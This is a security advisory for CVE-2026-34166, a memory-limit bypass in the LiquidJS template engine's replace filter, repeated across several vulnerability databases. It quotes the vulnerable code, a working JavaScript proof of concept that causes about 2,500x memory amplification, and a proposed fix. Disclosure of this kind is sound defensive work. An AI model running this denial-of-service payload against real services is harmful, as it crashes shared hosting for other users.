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LiquidJS has a Memory Limit Bypass via Quadratic Amplification in `replace` Filter

CVSS 3.1 3.7 LOWEUVD CVSS 3.1 3.7 CVSS 3.1 · [email protected] · Secondary 3.7 LOWCVSS 3.1 · [email protected] · Primary 5.3 MEDIUMCVSS_V3 Publisher rating LOWFixed by liquidjs 10.25.3KEV status unknown

cve-program · CVE-2026-34166

Published

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.

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euvd · EUVD-2026-20554

Published

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.

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nvd · CVE-2026-34166

Published

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.

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osv · GHSA-mmg9-6m6j-jqqx

Published

## Summary The `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. ## Details The vulnerable code is in `src/filters/string.ts:137-142`: ```typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output return str.split(pattern).join(replacement) // actual output can be quadratically larger } ``` The `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size: ``` (number_of_occurrences * replacement.length) + non_matching_characters ``` When every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter. The `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated. The `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input. ## PoC ```javascript const { Liquid } = require('liquidjs'); // User explicitly enables memoryLimit for DoS protection (10MB) const engine = new Liquid({ memoryLimit: 1e7 }); const inputLen = 5000; const aStr = 'a'.repeat(inputLen); const bStr = 'b'.repeat(inputLen); // Template that should be blocked by 10MB memory limit const tpl = engine.parse( `{%- assign s = "${aStr}" -%}` + `{%- assign r = "${bStr}" -%}` + `{{ s | replace: "a", r }}` ); // This should throw "memory alloc limit exceeded" but succeeds const result = engine.renderSync(tpl); console.log('Memory limit: 10,000,000 bytes'); console.log('Memory charged:', 10001, 'bytes'); console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes console.log('Amplification:', Math.round(result.length / 10001) + 'x'); // Output: Amplification: 2500x — completely bypasses the 10MB limit ``` ## Impact Users who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing: - Node.js process out-of-memory crashes - Denial of service for co-tenant users on the same process - Resource exhaustion on the hosting infrastructure The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access. ## Recommended Fix Account for the actual output size in the memory limiter by calculating the number of occurrences: ```typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) const parts = str.split(pattern) const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length) this.context.memoryLimit.use(outputSize) return parts.join(replacement) } ``` This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.

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